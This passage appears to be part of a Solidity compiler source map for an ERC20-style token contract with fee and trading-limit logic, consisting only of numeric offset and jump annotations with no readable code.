107::-;1200:13:1;:11;:13::i;:::-;14174:22:2::1;14180:7;14189:6;14174:5;:22::i;:::-;14097:107:::0;;:::o;14758:35::-;;;;:::o;15580:27::-;;;;:::o;15462:25::-;;;;:::o;22453:143::-;1200:13:1;:11;:13::i;:::-;22547:41:2::1;22576:4;22582:5;22547:28;:41::i;:::-;22453:143:::0;;:::o;9771:269::-;9864:4;9881:129;9890:12;:10;:12::i;:::-;9904:7;9913:96;9952:15;9913:96;;;;;;;;;;;;;;;;;:11;:25;9925:12;:10;:12::i;:::-;9913:25;;;;;;;;;;;;;;;:34;9939:7;9913:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;9881:8;:129::i;:::-;10028:4;10021:11;;9771:269;;;;:::o;14945:29::-;;;;:::o;7099:175::-;7185:4;7202:42;7212:12;:10;:12::i;:::-;7226:9;7237:6;7202:9;:42::i;:::-;7262:4;7255:11;;7099:175;;;;:::o;22739:208::-;1200:13:1;:11;:13::i;:::-;22876:15:2::1;;;;;;;;;;;22833:59;;22856:18;22833:59;;;;;;;;;;;;22921:18;22903:15;;:36;;;;;;;;;;;;;;;;;;22739:208:::0;:::o;16207:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;21920:200::-;1200:13:1;:11;:13::i;:::-;22049:5:2::1;22015:25;:31;22041:4;22015:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;22106:5;22072:40;;22100:4;22072:40;;;;;;;;;;;;21920:200:::0;;:::o;15028:32::-;;;;;;;;;;;;;:::o;21730:182::-;1200:13:1;:11;:13::i;:::-;21846:8:2::1;21815:19;:28;21835:7;21815:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;21886:7;21870:34;;;21895:8;21870:34;;;;;;:::i;:::-;;;;;;;;21730:182:::0;;:::o;20885:378::-;1200:13:1;:11;:13::i;:::-;21021::2::1;21002:16;:32;;;;21064:13;21045:16;:32;;;;21101:7;21088:10;:20;;;;21173:10;;21154:16;;21135;;:35;;;;:::i;:::-;:48;;;;:::i;:::-;21119:13;:64;;;;21219:2;21202:13;;:19;;21194:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;20885:378:::0;;;:::o;21509:213::-;1200:13:1;:11;:13::i;:::-;21631:3:2::1;21625:4;21621:1;21605:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;21604:30;;;;:::i;:::-;21594:6;:40;;21586:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;21708:5;21698:6;:16;;;;:::i;:::-;21686:9;:28;;;;21509:213:::0;:::o;18923:157::-;1200:13:1;:11;:13::i;:::-;19001:5:2::1;18985:13;;:21;;;;;;;;;;;;;;;;;;19017:55;19051:13;;;;;;;;;;;19067:4;19017:25;:55::i;:::-;18923:157:::0;:::o;15798:39::-;;;;;;;;;;;;;:::o;14543:35::-;;;;:::o;20111:385::-;20192:4;1200:13:1;:11;:13::i;:::-;20249:6:2::1;20245:1;20229:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:26;;;;:::i;:::-;20216:9;:39;;20208:105;;;;;;;;;;;;:::i;:::-;;;;;;;;;20366:4;20361:2;20345:13;:11;:13::i;:::-;:18;;;;:::i;:::-;:25;;;;:::i;:::-;20332:9;:38;;20324:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;20457:9;20436:18;:30;;;;20484:4;20477:11;;20111:385:::0;;;:::o;15206:27::-;;;;:::o;7337:151::-;7426:7;7453:11;:18;7465:5;7453:18;;;;;;;;;;;;;;;:27;7472:7;7453:27;;;;;;;;;;;;;;;;7446:34;;7337:151;;;;:::o;14585:33::-;;;;:::o;19354:134::-;19414:4;1200:13:1;:11;:13::i;:::-;19453:5:2::1;19430:20;;:28;;;;;;;;;;;;;;;;;;19476:4;19469:11;;19354:134:::0;:::o;15277:30::-;;;;:::o;2223:244:1:-;1200:13;:11;:13::i;:::-;2332:1:::1;2312:22;;:8;:22;;;;2304:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2422:8;2393:38;;2414:6;::::0;::::1;;;;;;;;2393:38;;;;;;;;;;;;2451:8;2442:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2223:244:::0;:::o;15424:31:2:-;;;;:::o;14512:24::-;;;;:::o;29481:1015::-;29565:4;1200:13:1;:11;:13::i;:::-;29630:19:2::1;;29607:20;;:42;;;;:::i;:::-;29589:15;:60;29581:106;;;;;;;;;;;;:::i;:::-;;;;;;;;;29717:4;29706:7;:15;;29698:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;29802:15;29779:20;:38;;;;29880:28;29911:4;:14;;;29926:13;;;;;;;;;;;29911:29;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29880:60;;29998:20;30021:44;30059:5;30021:33;30046:7;30021:20;:24;;:33;;;;:::i;:::-;:37;;:44;;;;:::i;:::-;29998:67;;30193:1;30178:12;:16;30174:109;;;30210:61;30226:13;;;;;;;;;;;30249:6;30258:12;30210:15;:61::i;:::-;30174:109;30366:19;30403:25;:40;30429:13;;;;;;;;;;;30403:40;;;;;;;;;;;;;;;;;;;;;;;;;30366:78;;30455:4;:9;;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;30484:4;30477:11;;;;;29481:1015:::0;;;:::o;325:181:0:-;383:7;403:9;419:1;415;:5;;;;:::i;:::-;403:17;;444:1;439;:6;;431:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;497:1;490:8;;;325:181;;;;:::o;97:98:1:-;150:7;177:10;170:17;;97:98;:::o;12980:380:2:-;13133:1;13116:19;;:5;:19;;;;13108:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13214:1;13195:21;;:7;:21;;;;13187:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13298:6;13268:11;:18;13280:5;13268:18;;;;;;;;;;;;;;;:27;13287:7;13268:27;;;;;;;;;;;;;;;:36;;;;13336:7;13320:32;;13329:5;13320:32;;;13345:6;13320:32;;;;;;:::i;:::-;;;;;;;;12980:380;;;:::o;1311:127:1:-;1381:12;:10;:12::i;:::-;1370:23;;:7;:5;:7::i;:::-;:23;;;1362:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1311:127::o;22955:4026:2:-;23103:1;23087:18;;:4;:18;;;;23079:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;23180:1;23166:16;;:2;:16;;;;23158:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;23257:1;23247:6;:11;23244:92;;;23275:28;23291:4;23297:2;23301:1;23275:15;:28::i;:::-;23318:7;;23244:92;23359:13;;;;;;;;;;;23356:1772;;;23424:6;23410:21;;:2;:21;;;;:55;;;;;23458:7;:5;:7::i;:::-;23452:13;;:2;:13;;;;23410:55;:92;;;;;23500:1;23486:16;;:2;:16;;;;23410:92;:128;;;;;23531:7;:5;:7::i;:::-;23523:15;;:4;:15;;;;23410:128;:158;;;;;23560:8;;;;;;;;;;;23559:9;23410:158;23388:1729;;;23606:13;;;;;;;;;;;23602:148;;23651:19;:25;23671:4;23651:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;23680:19;:23;23700:2;23680:23;;;;;;;;;;;;;;;;;;;;;;;;;23651:52;23643:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;23602:148;23908:20;;;;;;;;;;;23904:423;;;23962:7;:5;:7::i;:::-;23956:13;;:2;:13;;;;:47;;;;;23987:15;23973:30;;:2;:30;;;;23956:47;:79;;;;;24021:13;;;;;;;;;;;24007:28;;:2;:28;;;;23956:79;23952:356;;;24113:12;24071:28;:39;24100:9;24071:39;;;;;;;;;;;;;;;;:54;24063:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;24272:12;24230:28;:39;24259:9;24230:39;;;;;;;;;;;;;;;:54;;;;23952:356;23904:423;24397:31;:35;24429:2;24397:35;;;;;;;;;;;;;;;;;;;;;;;;;24392:710;;24479:20;;24469:6;:30;;24461:96;;;;;;;;;;;;:::i;:::-;;;;;;;;;24618:9;;24601:13;24611:2;24601:9;:13::i;:::-;24592:6;:22;;;;:::i;:::-;:35;;24584:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;24392:710;;;24746:31;:37;24778:4;24746:37;;;;;;;;;;;;;;;;;;;;;;;;;24741:361;;24830:20;;24820:6;:30;;24812:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;24741:361;;;24956:31;:35;24988:2;24956:35;;;;;;;;;;;;;;;;;;;;;;;;;24952:150;;25049:9;;25032:13;25042:2;25032:9;:13::i;:::-;25023:6;:22;;;;:::i;:::-;:35;;25015:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;24952:150;24741:361;24392:710;23388:1729;23356:1772;25148:28;25179:24;25197:4;25179:9;:24::i;:::-;25148:55;;25224:12;25263:18;;25239:20;:42;;25224:57;;25312:7;:35;;;;;25336:11;;;;;;;;;;;25312:35;:61;;;;;25365:8;;;;;;;;;;;25364:9;25312:61;:104;;;;;25391:19;:25;25411:4;25391:25;;;;;;;;;;;;;;;;;;;;;;;;;25390:26;25312:104;:145;;;;;25434:19;:23;25454:2;25434:23;;;;;;;;;;;;;;;;;;;;;;;;;25433:24;25312:145;25294:273;;;25495:4;25484:8;;:15;;;;;;;;;;;;;;;;;;25514:10;:8;:10::i;:::-;25550:5;25539:8;;:16;;;;;;;;;;;;;;;;;;25294:273;25591:8;;;;;;;;;;;25590:9;:26;;;;;25603:13;;;;;;;;;;;25590:26;25587:76;;;25632:19;25646:4;25632:13;:19::i;:::-;;25587:76;25675:12;25691:8;;;;;;;;;;;25690:9;25675:24;;25800:19;:25;25820:4;25800:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;25829:19;:23;25849:2;25829:23;;;;;;;;;;;;;;;;;;;;;;;;;25800:52;25797:99;;;25879:5;25869:15;;25797:99;25916:12;26020:7;26017:911;;;26087:1;26071:13;;:17;26067:686;;;26115:34;26145:3;26115:25;26126:13;;26115:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;26108:41;;26216:13;;26197:16;;26190:4;:23;;;;:::i;:::-;:39;;;;:::i;:::-;26168:18;;:61;;;;;;;:::i;:::-;;;;;;;;26284:13;;26271:10;;26264:4;:17;;;;:::i;:::-;:33;;;;:::i;:::-;26248:12;;:49;;;;;;;:::i;:::-;;;;;;;;26364:13;;26345:16;;26338:4;:23;;;;:::i;:::-;:39;;;;:::i;:::-;26316:18;;:61;;;;;;;:::i;:::-;;;;;;;;26067:686;;;26453:1;26438:12;;:16;26435:318;;;26482:33;26511:3;26482:24;26493:12;;26482:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;26475:40;;26581:12;;26563:15;;26556:4;:22;;;;:::i;:::-;:37;;;;:::i;:::-;26534:18;;:59;;;;;;;:::i;:::-;;;;;;;;26647:12;;26635:9;;26628:4;:16;;;;:::i;:::-;:31;;;;:::i;:::-;26612:12;;:47;;;;;;;:::i;:::-;;;;;;;;26725:12;;26707:15;;26700:4;:22;;;;:::i;:::-;:37;;;;:::i;:::-;26678:18;;:59;;;;;;;:::i;:::-;;;;;;;;26435:318;26067:686;26791:1;26784:4;:8;26781:93;;;26816:42;26832:4;26846;26853;26816:15;:42::i;:::-;26781:93;26912:4;26902:14;;;;;:::i;:::-;;;26017:911;26940:33;26956:4;26962:2;26966:6;26940:15;:33::i;:::-;23068:3913;;;;22955:4026;;;;:::o;1228:192:0:-;1314:7;1347:1;1342;:6;;1350:12;1334:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1374:9;1390:1;1386;:5;;;;:::i;:::-;1374:17;;1411:1;1404:8;;;1228:192;;;;;:::o;12108:434:2:-;12211:1;12192:21;;:7;:21;;;;12184:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12268:22;12293:9;:18;12303:7;12293:18;;;;;;;;;;;;;;;;12268:43;;12348:6;12330:14;:24;;12322:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12442:6;12431:8;;:17;;;;:::i;:::-;12410:9;:18;12420:7;12410:18;;;;;;;;;;;;;;;:38;;;;12475:6;12459:12;;:22;;;;;;;:::i;:::-;;;;;;;;12523:1;12497:37;;12506:7;12497:37;;;12527:6;12497:37;;;;;;:::i;:::-;;;;;;;;12173:369;12108:434;;:::o;1679:471:0:-;1737:7;1987:1;1982;:6;1978:47;;;2012:1;2005:8;;;;1978:47;2037:9;2053:1;2049;:5;;;;:::i;:::-;2037:17;;2082:1;2077;2073;:5;;;;:::i;:::-;:10;2065:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2141:1;2134:8;;;1679:471;;;;;:::o;2626:132::-;2684:7;2711:39;2715:1;2718;2711:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2704:46;;2626:132;;;;:::o;10530:573:2:-;10688:1;10670:20;;:6;:20;;;;10662:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10772:1;10751:23;;:9;:23;;;;10743:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10827:47;10848:6;10856:9;10867:6;10827:20;:47::i;:::-;10907:71;10929:6;10907:71;;;;;;;;;;;;;;;;;:9;:17;10917:6;10907:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;10887:9;:17;10897:6;10887:17;;;;;;;;;;;;;;;:91;;;;11012:32;11037:6;11012:9;:20;11022:9;11012:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10989:9;:20;10999:9;10989:20;;;;;;;;;;;;;;;:55;;;;11077:9;11060:35;;11069:6;11060:35;;;11088:6;11060:35;;;;;;:::i;:::-;;;;;;;;10530:573;;;:::o;2475:135:1:-;2518:7;2548:14;2565:13;:11;:13::i;:::-;2548:30;;2596:6;2589:13;;;2475:135;:::o;28426:1043:2:-;28465:23;28491:24;28509:4;28491:9;:24::i;:::-;28465:50;;28526:25;28596:12;;28575:18;;28554;;:39;;;;:::i;:::-;:54;;;;:::i;:::-;28526:82;;28619:12;28674:1;28655:15;:20;:46;;;;28700:1;28679:17;:22;28655:46;28652:60;;;28704:7;;;;;28652:60;28766:2;28745:18;;:23;;;;:::i;:::-;28727:15;:41;28724:111;;;28821:2;28800:18;;:23;;;;:::i;:::-;28782:41;;28724:111;28904:23;28989:1;28969:17;28948:18;;28930:15;:36;;;;:::i;:::-;:56;;;;:::i;:::-;:60;;;;:::i;:::-;28904:86;;29001:26;29030:36;29050:15;29030;:19;;:36;;;;:::i;:::-;29001:65;;29087:25;29115:21;29087:49;;29149:36;29166:18;29149:16;:36::i;:::-;29207:18;29228:44;29254:17;29228:21;:25;;:44;;;;:::i;:::-;29207:65;;29314:1;29293:18;:22;;;;29347:1;29326:18;:22;;;;29374:1;29359:12;:16;;;;29417:15;;;;;;;;;;;29409:29;;29446:10;29409:52;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29396:65;;;;;28454:1015;;;;;;;28426:1043;:::o;30504:413::-;30564:4;30616:23;30642:4;:14;;;30665:4;30642:29;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;30616:55;;30735:26;30764:37;30784:16;;30764:15;:19;;:37;;;;:::i;:::-;30735:66;;30827:16;30838:4;30827:10;:16::i;:::-;30822:56;;30874:1;30854:18;:21;30846:30;;;;;;30822:56;30895:4;30888:11;;;;30504:413;;;:::o;3254:278:0:-;3340:7;3372:1;3368;:5;3375:12;3360:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3399:9;3415:1;3411;:5;;;;:::i;:::-;3399:17;;3523:1;3516:8;;;3254:278;;;;;:::o;13963:125:2:-;;;;:::o;1446:113:1:-;1491:7;1533:1;1517:18;;:6;;;;;;;;;;:18;;;:34;;1545:6;;;;;;;;;;1517:34;;;1538:4;;;;;;;;;;;1517:34;1510:41;;1446:113;:::o;789:136:0:-;847:7;874:43;878:1;881;874:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;867:50;;789:136;;;;:::o;26989:601:2:-;27117:21;27155:1;27141:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27117:40;;27186:4;27168;27173:1;27168:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;27212:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27202:4;27207:1;27202:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;27247:62;27264:4;27279:15;27297:11;27247:8;:62::i;:::-;27348:15;:66;;;27429:11;27455:1;27499:4;27526;27546:15;27348:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27044:546;26989:601;:::o;19697:154::-;19753:4;19777:60;:66;19838:4;19777:66;;;;;;;;;;;;;;;;;;;;;;;;;19776:67;19769:74;;19697:154;;;:::o;88:117:3:-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:90::-;1210:7;1253:5;1246:13;1239:21;1228:32;;1176:90;;;:::o;1272:109::-;1353:21;1368:5;1353:21;:::i;:::-;1348:3;1341:34;1272:109;;:::o;1387:210::-;1474:4;1512:2;1501:9;1497:18;1489:26;;1525:65;1587:1;1576:9;1572:17;1563:6;1525:65;:::i;:::-;1387:210;;;;:::o;1603:99::-;1655:6;1689:5;1683:12;1673:22;;1603:99;;;:::o;1708:169::-;1792:11;1826:6;1821:3;1814:19;1866:4;1861:3;1857:14;1842:29;;1708:169;;;;:::o;1883:307::-;1951:1;1961:113;1975:6;1972:1;1969:13;1961:113;;;2060:1;2055:3;2051:11;2045:18;2041:1;2036:3;2032:11;2025:39;1997:2;1994:1;1990:10;1985:15;;1961:113;;;2092:6;2089:1;2086:13;2083:101;;;2172:1;2163:6;2158:3;2154:16;2147:27;2083:101;1932:258;1883:307;;;:::o;2196:102::-;2237:6;2288:2;2284:7;2279:2;2272:5;2268:14;2264:28;2254:38;;2196:102;;;:::o;2304:364::-;2392:3;2420:39;2453:5;2420:39;:::i;:::-;2475:71;2539:6;2534:3;2475:71;:::i;:::-;2468:78;;2555:52;2600:6;2595:3;2588:4;2581:5;2577:16;2555:52;:::i;:::-;2632:29;2654:6;2632:29;:::i;:::-;2627:3;2623:39;2616:46;;2396:272;2304:364;;;;:::o;2674:313::-;2787:4;2825:2;2814:9;2810:18;2802:26;;2874:9;2868:4;2864:20;2860:1;2849:9;2845:17;2838:47;2902:78;2975:4;2966:6;2902:78;:::i;:::-;2894:86;;2674:313;;;;:::o;2993:77::-;3030:7;3059:5;3048:16;;2993:77;;;:::o;3076:122::-;3149:24;3167:5;3149:24;:::i;:::-;3142:5;3139:35;3129:63;;3188:1;3185;3178:12;3129:63;3076:122;:::o;3204:139::-;3250:5;3288:6;3275:20;3266:29;;3304:33;3331:5;3304:33;:::i;:::-;3204:139;;;;:::o;3349:474::-;3417:6;3425;3474:2;3462:9;3453:7;3449:23;3445:32;3442:119;;;3480:79;;:::i;:::-;3442:119;3600:1;3625:53;3670:7;3661:6;3650:9;3646:22;3625:53;:::i;:::-;3615:63;;3571:117;3727:2;3753:53;3798:7;3789:6;3778:9;3774:22;3753:53;:::i;:::-;3743:63;;3698:118;3349:474;;;;;:::o;3829:60::-;3857:3;3878:5;3871:12;;3829:60;;;:::o;3895:142::-;3945:9;3978:53;3996:34;4005:24;4023:5;4005:24;:::i;:::-;3996:34;:::i;:::-;3978:53;:::i;:::-;3965:66;;3895:142;;;:::o;4043:126::-;4093:9;4126:37;4157:5;4126:37;:::i;:::-;4113:50;;4043:126;;;:::o;4175:152::-;4251:9;4284:37;4315:5;4284:37;:::i;:::-;4271:50;;4175:152;;;:::o;4333:183::-;4446:63;4503:5;4446:63;:::i;:::-;4441:3;4434:76;4333:183;;:::o;4522:274::-;4641:4;4679:2;4668:9;4664:18;4656:26;;4692:97;4786:1;4775:9;4771:17;4762:6;4692:97;:::i;:::-;4522:274;;;;:::o;4802:118::-;4889:24;4907:5;4889:24;:::i;:::-;4884:3;4877:37;4802:118;;:::o;4926:222::-;5019:4;5057:2;5046:9;5042:18;5034:26;;5070:71;5138:1;5127:9;5123:17;5114:6;5070:71;:::i;:::-;4926:222;;;;:::o;5154:329::-;5213:6;5262:2;5250:9;5241:7;5237:23;5233:32;5230:119;;;5268:79;;:::i;:::-;5230:119;5388:1;5413:53;5458:7;5449:6;5438:9;5434:22;5413:53;:::i;:::-;5403:63;;5359:117;5154:329;;;;:::o;5489:619::-;5566:6;5574;5582;5631:2;5619:9;5610:7;5606:23;5602:32;5599:119;;;5637:79;;:::i;:::-;5599:119;5757:1;5782:53;5827:7;5818:6;5807:9;5803:22;5782:53;:::i;:::-;5772:63;;5728:117;5884:2;5910:53;5955:7;5946:6;5935:9;5931:22;5910:53;:::i;:::-;5900:63;;5855:118;6012:2;6038:53;6083:7;6074:6;6063:9;6059:22;6038:53;:::i;:::-;6028:63;;5983:118;5489:619;;;;;:::o;6114:117::-;6223:1;6220;6213:12;6237:117;6346:1;6343;6336:12;6360:117;6469:1;6466;6459:12;6500:568;6573:8;6583:6;6633:3;6626:4;6618:6;6614:17;6610:27;6600:122;;6641:79;;:::i;:::-;6600:122;6754:6;6741:20;6731:30;;6784:18;6776:6;6773:30;6770:117;;;6806:79;;:::i;:::-;6770:117;6920:4;6912:6;6908:17;6896:29;;6974:3;6966:4;6958:6;6954:17;6944:8;6940:32;6937:41;6934:128;;;6981:79;;:::i;:::-;6934:128;6500:568;;;;;:::o;7074:704::-;7169:6;7177;7185;7234:2;7222:9;7213:7;7209:23;7205:32;7202:119;;;7240:79;;:::i;:::-;7202:119;7388:1;7377:9;7373:17;7360:31;7418:18;7410:6;7407:30;7404:117;;;7440:79;;:::i;:::-;7404:117;7553:80;7625:7;7616:6;7605:9;7601:22;7553:80;:::i;:::-;7535:98;;;;7331:312;7682:2;7708:53;7753:7;7744:6;7733:9;7729:22;7708:53;:::i;:::-;7698:63;;7653:118;7074:704;;;;;:::o;7784:118::-;7871:24;7889:5;7871:24;:::i;:::-;7866:3;7859:37;7784:118;;:::o;7908:222::-;8001:4;8039:2;8028:9;8024:18;8016:26;;8052:71;8120:1;8109:9;8105:17;8096:6;8052:71;:::i;:::-;7908:222;;;;:::o;8136:86::-;8171:7;8211:4;8204:5;8200:16;8189:27;;8136:86;;;:::o;8228:112::-;8311:22;8327:5;8311:22;:::i;:::-;8306:3;8299:35;8228:112;;:::o;8346:214::-;8435:4;8473:2;8462:9;8458:18;8450:26;;8486:67;8550:1;8539:9;8535:17;8526:6;8486:67;:::i;:::-;8346:214;;;;:::o;8566:116::-;8636:21;8651:5;8636:21;:::i;:::-;8629:5;8626:32;8616:60;;8672:1;8669;8662:12;8616:60;8566:116;:::o;8688:133::-;8731:5;8769:6;8756:20;8747:29;;8785:30;8809:5;8785:30;:::i;:::-;8688:133;;;;:::o;8827:698::-;8919:6;8927;8935;8984:2;8972:9;8963:7;8959:23;8955:32;8952:119;;;8990:79;;:::i;:::-;8952:119;9138:1;9127:9;9123:17;9110:31;9168:18;9160:6;9157:30;9154:117;;;9190:79;;:::i;:::-;9154:117;9303:80;9375:7;9366:6;9355:9;9351:22;9303:80;:::i;:::-;9285:98;;;;9081:312;9432:2;9458:50;9500:7;9491:6;9480:9;9476:22;9458:50;:::i;:::-;9448:60;;9403:115;8827:698;;;;;:::o;9531:613::-;9605:6;9613;9621;9670:2;9658:9;9649:7;9645:23;9641:32;9638:119;;;9676:79;;:::i;:::-;9638:119;9796:1;9821:53;9866:7;9857:6;9846:9;9842:22;9821:53;:::i;:::-;9811:63;;9767:117;9923:2;9949:53;9994:7;9985:6;9974:9;9970:22;9949:53;:::i;:::-;9939:63;;9894:118;10051:2;10077:50;10119:7;10110:6;10099:9;10095:22;10077:50;:::i;:::-;10067:60;;10022:115;9531:613;;;;;:::o;10150:468::-;10215:6;10223;10272:2;10260:9;10251:7;10247:23;10243:32;10240:119;;;10278:79;;:::i;:::-;10240:119;10398:1;10423:53;10468:7;10459:6;10448:9;10444:22;10423:53;:::i;:::-;10413:63;;10369:117;10525:2;10551:50;10593:7;10584:6;10573:9;10569:22;10551:50;:::i;:::-;10541:60;;10496:115;10150:468;;;;;:::o;10624:619::-;10701:6;10709;10717;10766:2;10754:9;10745:7;10741:23;10737:32;10734:119;;;10772:79;;:::i;:::-;10734:119;10892:1;10917:53;10962:7;10953:6;10942:9;10938:22;10917:53;:::i;:::-;10907:63;;10863:117;11019:2;11045:53;11090:7;11081:6;11070:9;11066:22;11045:53;:::i;:::-;11035:63;;10990:118;11147:2;11173:53;11218:7;11209:6;11198:9;11194:22;11173:53;:::i;:::-;11163:63;;11118:118;10624:619;;;;;:::o;11249:151::-;11324:9;11357:37;11388:5;11357:37;:::i;:::-;11344:50;;11249:151;;;:::o;11406:181::-;11518:62;11574:5;11518:62;:::i;:::-;11513:3;11506:75;11406:181;;:::o;11593:272::-;11711:4;11749:2;11738:9;11734:18;11726:26;;11762:96;11855:1;11844:9;11840:17;11831:6;11762:96;:::i;:::-;11593:272;;;;:::o;11871:323::-;11927:6;11976:2;11964:9;11955:7;11951:23;11947:32;11944:119;;;11982:79;;:::i;:::-;11944:119;12102:1;12127:50;12169:7;12160:6;12149:9;12145:22;12127:50;:::i;:::-;12117:60;;12073:114;11871:323;;;;:::o;12200:474::-;12268:6;12276;12325:2;12313:9;12304:7;12300:23;12296:32;12293:119;;;12331:79;;:::i;:::-;12293:119;12451:1;12476:53;12521:7;12512:6;12501:9;12497:22;12476:53;:::i;:::-;12466:63;;12422:117;12578:2;12604:53;12649:7;12640:6;12629:9;12625:22;12604:53;:::i;:::-;12594:63;;12549:118;12200:474;;;;;:::o;12680:180::-;12728:77;12725:1;12718:88;12825:4;12822:1;12815:15;12849:4;12846:1;12839:15;12866:320;12910:6;12947:1;12941:4;12937:12;12927:22;;12994:1;12988:4;12984:12;13015:18;13005:81;;13071:4;13063:6;13059:17;13049:27;;13005:81;13133:2;13125:6;13122:14;13102:18;13099:38;13096:84;;;13152:18;;:::i;:::-;13096:84;12917:269;12866:320;;;:::o;13192:180::-;13240:77;13237:1;13230:88;13337:4;13334:1;13327:15;13361:4;13358:1;13351:15;13378:348;13418:7;13441:20;13459:1;13441:20;:::i;:::-;13436:25;;13475:20;13493:1;13475:20;:::i;:::-;13470:25;;13663:1;13595:66;13591:74;13588:1;13585:81;13580:1;13573:9;13566:17;13562:105;13559:131;;;13670:18;;:::i;:::-;13559:131;13718:1;13715;13711:9;13700:20;;13378:348;;;;:::o;13732:180::-;13780:77;13777:1;13770:88;13877:4;13874:1;13867:15;13901:4;13898:1;13891:15;13918:185;13958:1;13975:20;13993:1;13975:20;:::i;:::-;13970:25;;14009:20;14027:1;14009:20;:::i;:::-;14004:25;;14048:1;14038:35;;14053:18;;:::i;:::-;14038:35;14095:1;14092;14088:9;14083:14;;13918:185;;;;:::o;14109:234::-;14249:34;14245:1;14237:6;14233:14;14226:58;14318:17;14313:2;14305:6;14301:15;14294:42;14109:234;:::o;14349:366::-;14491:3;14512:67;14576:2;14571:3;14512:67;:::i;:::-;14505:74;;14588:93;14677:3;14588:93;:::i;:::-;14706:2;14701:3;14697:12;14690:19;;14349:366;;;:::o;14721:419::-;14887:4;14925:2;14914:9;14910:18;14902:26;;14974:9;14968:4;14964:20;14960:1;14949:9;14945:17;14938:47;15002:131;15128:4;15002:131;:::i;:::-;14994:139;;14721:419;;;:::o;15146:143::-;15203:5;15234:6;15228:13;15219:22;;15250:33;15277:5;15250:33;:::i;:::-;15146:143;;;;:::o;15295:351::-;15365:6;15414:2;15402:9;15393:7;15389:23;15385:32;15382:119;;;15420:79;;:::i;:::-;15382:119;15540:1;15565:64;15621:7;15612:6;15601:9;15597:22;15565:64;:::i;:::-;15555:74;;15511:128;15295:351;;;;:::o;15652:332::-;15773:4;15811:2;15800:9;15796:18;15788:26;;15824:71;15892:1;15881:9;15877:17;15868:6;15824:71;:::i;:::-;15905:72;15973:2;15962:9;15958:18;15949:6;15905:72;:::i;:::-;15652:332;;;;;:::o;15990:180::-;16038:77;16035:1;16028:88;16135:4;16132:1;16125:15;16159:4;16156:1;16149:15;16176:233;16215:3;16238:24;16256:5;16238:24;:::i;:::-;16229:33;;16284:66;16277:5;16274:77;16271:103;;;16354:18;;:::i;:::-;16271:103;16401:1;16394:5;16390:13;16383:20;;16176:233;;;:::o;16415:238::-;16555:34;16551:1;16543:6;16539:14;16532:58;16624:21;16619:2;16611:6;16607:15;16600:46;16415:238;:::o;16659:366::-;16801:3;16822:67;16886:2;16881:3;16822:67;:::i;:::-;16815:74;;16898:93;16987:3;16898:93;:::i;:::-;17016:2;17011:3;17007:12;17000:19;;16659:366;;;:::o;17031:419::-;17197:4;17235:2;17224:9;17220:18;17212:26;;17284:9;17278:4;17274:20